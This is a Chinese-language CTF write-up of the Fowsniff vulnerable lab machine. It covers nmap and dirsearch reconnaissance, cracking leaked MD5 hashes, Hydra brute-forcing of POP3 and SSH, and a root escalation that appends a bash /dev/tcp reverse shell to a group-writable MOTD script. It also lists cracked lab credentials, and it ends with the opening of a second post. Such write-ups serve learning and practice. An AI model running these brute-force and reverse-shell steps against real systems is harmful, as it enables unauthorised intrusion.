&lt;p&gt;&lt;a href=&quot;https://medium.com/@primeradsec/how-to-solve-vulnhub-vm-network-interface-ip-issues-79ff55b7573c&quot;&gt;How To Solve Vulnhub VM Network Interface IP Issues&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;1.信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap 信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT --min-rate 10000 -p- 192.168.200.166 -oA ports
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531204617057.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;开放端口：22, 80, 110, 143&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT -sV -sC -O -p22,80,110,143 192.168.200.166 -oA details
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531205109945.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Nmap 7.95 scan initiated Sun May 31 08:52:32 2026 as: /usr/lib/nmap/nmap --privileged --script=vuln -p22,80,110,143 -oA vuln 192.168.200.166
Nmap scan report for 192.168.200.166 (192.168.200.166)
Host is up (0.00022s latency).

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server&apos;s resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
| http-enum: 
|   /robots.txt: Robots file
|   /README.txt: Interesting, a readme.
|_  /images/: Potentially interesting directory w/ listing on &apos;apache/2.4.18 (ubuntu)&apos;
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.200.166:80/assets/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/ie/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/ie/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/ie/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/ie/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=M%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=S%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=D%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.200.166:80/assets/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|_    http://192.168.200.166:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|_http-csrf: Couldn&apos;t find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn&apos;t find any DOM based XSS.
|_http-stored-xss: Couldn&apos;t find any stored XSS vulnerabilities.
110/tcp open  pop3
143/tcp open  imap
MAC Address: 00:0C:29:63:9B:24 (VMware)

# Nmap done at Sun May 31 08:57:53 2026 -- 1 IP address (1 host up) scanned in 321.21 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;漏洞扫描结果中 HTTP 段的 SQL Injection 条目均为 dirsearch 爬取路径触发的误报，可忽略。真正有价值的信息是 &lt;code&gt;http-enum&lt;/code&gt; 枚举出的几个可访问路径，以及开放的 POP3（110）和 IMAP（143）邮件服务端口。&lt;/p&gt;
&lt;h2&gt;1.2 Web 探测&lt;/h2&gt;
&lt;p&gt;访问靶机首页 &lt;code&gt;http://192.168.200.166/&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531205519704.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;页面内容明确提示了两个关键信息：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fowsniff 的内部系统遭遇数据泄露，员工用户名和密码已外泄。&lt;/li&gt;
&lt;li&gt;官方推特账号 &lt;code&gt;@fowsniffcorp&lt;/code&gt; 已被劫持。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;就一个 html 页面，页面源码没有其他内容。&lt;/p&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u &quot;http://192.168.200.166/&quot; -oA dirs.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531210202976.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[08:57:48] 301 -  319B  - /assets  -&amp;gt;  http://192.168.200.166/assets/
[08:57:48] 200 -  473B  - /assets/
[08:57:54] 301 -  319B  - /images  -&amp;gt;  http://192.168.200.166/images/
[08:57:54] 200 -  509B  - /images/
[08:57:55] 200 -    6KB - /LICENSE.txt
[08:58:01] 200 -  774B  - /README.txt
[08:58:01] 200 -   26B  - /robots.txt
[08:58:02] 200 -  228B  - /security.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;逐个访问扫描到的可用路径：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://192.168.200.166/robots.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531210249366.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://192.168.200.166/README.txt&lt;/code&gt; — 内容是网站模板版权信息，无有效内容。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Escape Velocity by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)

.....
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;http://192.168.200.166/assets/&lt;/code&gt; — 网站的附件目录，有效内容很少，排查优先级不高。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260602192623596.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://192.168.200.166/security.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531211004731.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个 &lt;code&gt;security.txt&lt;/code&gt; 应该是黑客留下的文件，配合首页提到的推特被劫持，指向性很明确：去推特 &lt;code&gt;@FowsniffCorp&lt;/code&gt; 上找泄露数据。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1.3 POP3 探测&lt;/h2&gt;
&lt;p&gt;结合扫描结果和 Web 信息，现在有两个探测方向：SSH（22）和 POP3 邮件服务（110）。&lt;/p&gt;
&lt;p&gt;先确认 POP3 服务需要认证：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;telnet 192.168.200.166 110
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;1.4 OSINT：追踪泄露密码&lt;/h2&gt;
&lt;p&gt;前面提示到存在员工用户的密码泄露。在这个靶机的首页泄露了说官方的推特账号被劫持了，于是我就去推特上搜了这个账号的内容。然后，第一条链接有一个人放了一个 GitHub 仓库，里面就是相关密码，我也不知道这种方法对不对啊，很神奇，这算社工的一种吗。后续我在推特上找到了这个官方的账号，不过源密码网站好像不能访问了，不过还好有人在github上fock下来了。&lt;/p&gt;
&lt;p&gt;相关链接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://pastebin.com/NrAqVeeX&lt;/li&gt;
&lt;li&gt;https://github.com/berzerk0/Fowsniff/blob/main/fowsniff.txt&lt;/li&gt;
&lt;li&gt;https://x.com/FowsniffCorp&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531215012038.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;获取到一批 MD5 Hash，用 John 爆破：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531215401232.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john --format=Raw-MD5 --show hash.txt
mauer@fowsniff:mailcall
mustikka@fowsniff:bilbo101
tegel@fowsniff:apples01
baksteen@fowsniff:skyler22
seina@fowsniff:scoobydoo2
mursten@fowsniff:carp4ever
parede@fowsniff:orlando12
sciana@fowsniff:07011972
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提取用户名和密码列表，用于后续爆破：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 提取用户名
cat hash_d.txt | grep @ | awk -F&apos;@&apos; &apos;{print $1}&apos;

# 提取密码
cat hash_d.txt | grep @ | awk -F&apos;:&apos; &apos;{print $2}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531215844315.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;2.权限立足&lt;/h1&gt;
&lt;h2&gt;2.1 Hydra 爆破 POP3 / SSH&lt;/h2&gt;
&lt;p&gt;用提取好的用户名和密码列表，对两个服务同步爆破：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -L username.txt -P password.txt pop3://192.168.200.166 -t 16 -V
hydra -L username.txt -P password.txt ssh://192.168.200.166 -t 4 -V
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;POP3 爆破命中：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531220229806.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[110][pop3] host: 192.168.200.166   login: seina   password: scoobydoo2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SSH 爆破此阶段未命中成功。&lt;/p&gt;
&lt;h2&gt;2.2 POP3 读取邮件&lt;/h2&gt;
&lt;p&gt;用 &lt;code&gt;seina / scoobydoo2&lt;/code&gt; 登录 POP3，手动拉取邮件：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531220336549.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;POP3 常用命令：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;LIST&lt;/code&gt;：获取邮件列表&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RETR &amp;lt;n&amp;gt;&lt;/code&gt;：下载第 n 封邮件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;参考：https://www.runoob.com/np/pop3-protocol.html&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第 1 封邮件（stone → 全体员工）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;From: stone@fowsniff (stone)

Dear All,

A few days ago, a malicious actor was able to gain entry to
our internal email systems. The attacker was able to exploit
incorrectly filtered escape characters within our SQL database
to access our login credentials. Both the SQL and authentication
system used legacy methods that had not been updated in some time.

We have been instructed to perform a complete internal system
overhaul. While the main systems are &quot;in the shop,&quot; we have
moved to this isolated, temporary server that has minimal
functionality.

This server is capable of sending and receiving emails, but only
locally. That means you can only send emails to other users, not
to the world wide web. You can, however, access this system via 
the SSH protocol.

The temporary password for SSH is &quot;S1ck3nBluff+secureshell&quot;

You MUST change this password as soon as possible, and you will do so under my
guidance. I saw the leak the attacker posted online, and I must say that your
passwords were not very secure.

Come see me in my office at your earliest convenience and we&apos;ll set it up.

Thanks,
A.J Stone
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;第 2 封邮件（baksteen → seina）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;From: baksteen@fowsniff

Devin,

You should have seen the brass lay into AJ today!
We are going to be talking about this one for a looooong time hahaha.
Who knew the regional manager had been in the navy? She was swearing like a sailor!

I don&apos;t know what kind of pneumonia or something you brought back with
you from your camping trip, but I think I&apos;m coming down with it myself.
How long have you been gone - a week?
Next time you&apos;re going to get sick and miss the managerial blowout of the century,
at least keep it to yourself!

I&apos;m going to head home early and eat some chicken soup. 
I think I just got an email from Stone, too, but it&apos;s probably just some
&quot;Let me explain the tone of my meeting with management&quot; face-saving mail.
I&apos;ll read it when I get back.

Feel better,

Skyler

PS: Make sure you change your email password. 
AJ had been telling us to do that right before Captain Profanity showed up.

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第二封邮件侧面说明 baksteen 还没看 stone 的邮件，也就是&lt;strong&gt;可能还没改 SSH 密码&lt;/strong&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The temporary password for SSH is &quot;S1ck3nBluff+secureshell&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;2.3 SSH 登录&lt;/h2&gt;
&lt;p&gt;用 SSH 临时密码对全部用户名再次爆破：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -L username.txt -p S1ck3nBluff+secureshell ssh://192.168.200.166 -t 16 -V
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SSH 爆破结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531221043095.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[22][ssh] host: 192.168.200.166   login: baksteen   password: S1ck3nBluff+secureshell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;baksteen 没改密码，成功登录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh baksteen@192.168.200.166
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531221141684.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260531221229038.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;3.提权&lt;/h1&gt;
&lt;h2&gt;3.1 信息收集&lt;/h2&gt;
&lt;h3&gt;sudo 权限&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;baksteen@fowsniff:~$ sudo -l
[sudo] password for baksteen:
Sorry, user baksteen may not run sudo on fowsniff.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;计划任务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;baksteen@fowsniff:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;crontab 均为标准系统任务，无可利用项。&lt;/p&gt;
&lt;h3&gt;SUID 文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;baksteen@fowsniff:~$ find / -perm -u=s -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常规 SUID 二进制文件，无异常可利用项。&lt;/p&gt;
&lt;p&gt;以上常规路径均未找到突破口。转向组权限方向排查。&lt;/p&gt;
&lt;h2&gt;3.2 组权限分析&lt;/h2&gt;
&lt;p&gt;查看当前用户所属组：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;baksteen@fowsniff:~$ id
uid=1004(baksteen) gid=100(users) groups=100(users),1001(baksteen)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;baksteen 属于 &lt;code&gt;users&lt;/code&gt; 组（该组下存在多名用户），查找该组可写文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;baksteen@fowsniff:~$ find / -group users -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260601190253272.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我觉得这个文件很可疑，还是一个脚本，&lt;code&gt;/opt/cube/cube.sh&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3.3 提权：写入反弹 Shell&lt;/h2&gt;
&lt;p&gt;通过查找 &lt;code&gt;users&lt;/code&gt; 组的文件，找到了 &lt;code&gt;/opt/cube/cube.sh&lt;/code&gt;。这个 sh 脚本里面写的是打印一个图片在终端上，而 ssh 登入时候显示的图标就是这个。最终的提权方法是，往里面插入反弹 shell，再次通过 ssh 重连用户，这里反弹的 shell 就是 root。&lt;/p&gt;
&lt;p&gt;向 &lt;code&gt;cube.sh&lt;/code&gt; 追加反弹 shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.129/4444 0&amp;gt;&amp;amp;1&apos; &amp;gt;&amp;gt; /opt/cube/cube.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在攻击机开启监听，然后重新 SSH 登录 baksteen，触发 MOTD 执行（MOTD原理请看补充部分）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260601191911325.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Kali 反弹接收成功，获得 Root Shell。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260601191927790.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看 /root 下的 flag。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260601191950562.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;4.总结&lt;/h1&gt;
&lt;p&gt;本机的整体渗透路径比较有意思，核心在两个地方：&lt;/p&gt;
&lt;p&gt;一是信息收集阶段的&quot;社工&quot;环节。Web 首页的剧情提示 → 推特被劫持 → 外部泄露 → GitHub 公开 hash，这条线要自己主动去追，不算常规扫描能直接给出的信息，算是一种 OSINT 思维的考察。&lt;/p&gt;
&lt;p&gt;二是提权的 MOTD 机制，不依赖内核漏洞或 SUID，仅凭一个&quot;root 每次登录都会执行、对 users 组可写的 shell 脚本&quot;完成提权，逻辑链很简洁。&lt;/p&gt;
&lt;p&gt;凭据汇总：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;用户&lt;/th&gt;
&lt;th&gt;密码&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;seina&lt;/td&gt;
&lt;td&gt;scoobydoo2&lt;/td&gt;
&lt;td&gt;POP3 登录&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;baksteen&lt;/td&gt;
&lt;td&gt;S1ck3nBluff+secureshell&lt;/td&gt;
&lt;td&gt;SSH 登录（临时密码）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h1&gt;5.补充&lt;/h1&gt;
&lt;h2&gt;提权原理：MOTD 机制 + 组可写文件&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Q: Linux 权限问题，有一个组 &lt;code&gt;users&lt;/code&gt;，如果有一个文件 &lt;code&gt;gid=users&lt;/code&gt; 但 &lt;code&gt;uid&lt;/code&gt; 不是我操作的这个用户，他可以操作这个文件吗？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;可以，只要该文件的&lt;strong&gt;组权限位&lt;/strong&gt;允许对应操作即可。&lt;/p&gt;
&lt;p&gt;具体来说，Linux 判断权限时按以下顺序走：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uid 匹配？→ 用 owner 权限位
    ↓ 否
gid 匹配？→ 用 group 权限位
    ↓ 否
         → 用 other 权限位
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以你的情况：uid 不匹配 → 检查 gid → &lt;strong&gt;你在 users 组，文件 gid=users → 用 group 权限位&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;举例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-rw-rw-r-- 1 alice users 1234 file.txt
              ^^^
              owner: rw  (alice 才有)
                 ^^^
                 group: rw  ← 你（users 组成员）走这里
                    ^^^
                    other: r
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你不是 alice，但在 users 组，所以有 &lt;code&gt;rw&lt;/code&gt; 权限，可以读写。&lt;/p&gt;
&lt;p&gt;验证自己的组成员资格：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id       # 看当前用户所在的所有组
groups   # 同上，更简洁
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看文件权限：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ls -l file.txt
stat file.txt   # 更详细，显示数字权限和 uid/gid
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一个要注意的边缘情况：&lt;strong&gt;uid 匹配时，group 权限不再参与判断&lt;/strong&gt;。比如文件是 &lt;code&gt;----rwxr--&lt;/code&gt;，owner 反而什么都做不了，因为一旦 uid 命中就只看 owner 位，不会再 fallback 到 group。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;第一层：&lt;code&gt;/etc/update-motd.d/&lt;/code&gt; 是什么？&lt;/h3&gt;
&lt;p&gt;Linux 的 &lt;code&gt;/etc/update-motd.d/&lt;/code&gt; 目录中存放的脚本，会在&lt;strong&gt;每次用户通过 SSH 登录时由 root 自动执行&lt;/strong&gt;，用来动态生成 MOTD（Message of the Day，即每日提示信息）。&lt;/p&gt;
&lt;p&gt;也就是说，这个目录下的脚本天然就是&lt;strong&gt;以 root 权限运行&lt;/strong&gt;的。&lt;/p&gt;
&lt;h3&gt;第二层：&lt;code&gt;00-header&lt;/code&gt; 调用了 &lt;code&gt;cube.sh&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;检查 MOTD 脚本后可以确认，&lt;code&gt;/etc/update-motd.d/00-header&lt;/code&gt; 文件中有一行代码调用了 &lt;code&gt;/opt/cube/cube.sh&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@fowsniff:/root# ls -l /etc/update-motd.d/
total 16
-rwxr-xr-x 1 root root 1248 Mar 11  2018 00-header
-rwxr-xr-x 1 root root 1473 Mar  9  2018 10-help-text
-rwxr-xr-x 1 root root  299 Jul 22  2016 91-release-upgrade
-rwxr-xr-x 1 root root  604 Nov  5  2017 99-esm

root@fowsniff:/root# cat /etc/update-motd.d/00-header
#!/bin/sh
# ...（版权注释省略）

sh /opt/cube/cube.sh   # &amp;lt;-- 调用点
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/image-20260601193046841.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;调用链：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SSH 登录
  → root 执行 /etc/update-motd.d/00-header
    → 00-header 内部调用 /opt/cube/cube.sh
      → cube.sh 中的代码以 root 身份运行
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第三层：&lt;code&gt;cube.sh&lt;/code&gt; 对 &lt;code&gt;users&lt;/code&gt; 组可写&lt;/h3&gt;
&lt;p&gt;当前用户属于 &lt;code&gt;users&lt;/code&gt; 组，而 &lt;code&gt;cube.sh&lt;/code&gt; 文件对该组有写入权限。这意味着你可以直接修改这个文件，&lt;strong&gt;但执行它的人是 root&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;完整攻击链总结&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;步骤&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cube.sh&lt;/code&gt; 归属 &lt;code&gt;users&lt;/code&gt; 组且可写&lt;/td&gt;
&lt;td&gt;低权限用户可以修改它&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;00-header&lt;/code&gt; 会调用 &lt;code&gt;cube.sh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;root 级别的 MOTD 脚本主动引用了它&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH 登录触发 MOTD&lt;/td&gt;
&lt;td&gt;每次登录都会以 root 执行整个调用链&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;写入反弹 shell&lt;/td&gt;
&lt;td&gt;下次 SSH 登录时 root 替你执行了那段代码&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;这个提权方式的精妙之处在于它极其简洁——不需要内核漏洞、没有 SUID 二进制文件、也没有 sudo 配置错误，仅仅是一个&lt;strong&gt;root 每次登录都会执行的、可写的 shell 脚本&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;一个重要细节&lt;/h4&gt;
&lt;p&gt;注意 &lt;code&gt;/etc/update-motd.d/&lt;/code&gt; 下这些文件的权限都是 &lt;code&gt;-rwxr-xr-x&lt;/code&gt;，属主是 &lt;code&gt;root&lt;/code&gt;，&lt;strong&gt;本身不可被普通用户修改&lt;/strong&gt;。这就是为什么提权不是直接改这里，而是去改&lt;strong&gt;它所调用的&lt;/strong&gt; &lt;code&gt;cube.sh&lt;/code&gt;——那个文件才对 &lt;code&gt;users&lt;/code&gt; 组开放了写权限，这是靶机设计者埋下的故意配置错误。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;6.参考资料&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;https://medium.com/@0xH1S/fowsniff-ctf-writeup-tryhackme-f03b8f1f4b41&lt;/li&gt;
&lt;li&gt;https://www.runoob.com/np/pop3-protocol.html&lt;/li&gt;
&lt;li&gt;https://medium.com/@primeradsec/how-to-solve-vulnhub-vm-network-interface-ip-issues-79ff55b7573c&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Vulnhub HA Narak WriteUp</title><link>https://blog.owenwoow.com/posts/2026/07/01/ha_narak/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/07/01/ha_narak/</guid><description>HA: NARAK 是一台以印度神话为主题的 VulnHub 靶机，涉及 TFTP 枚举、WebDAV 认证与 PUT 方法上传 Webshell、Brainfuck 编码解密以及可写文件提权。</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场介绍&lt;/h3&gt;
&lt;p&gt;HA: NARAK 是一台以印度神话为主题的 VulnHub 靶机，难度适中，涵盖以下知识点：&lt;/p&gt;
&lt;ul&gt;
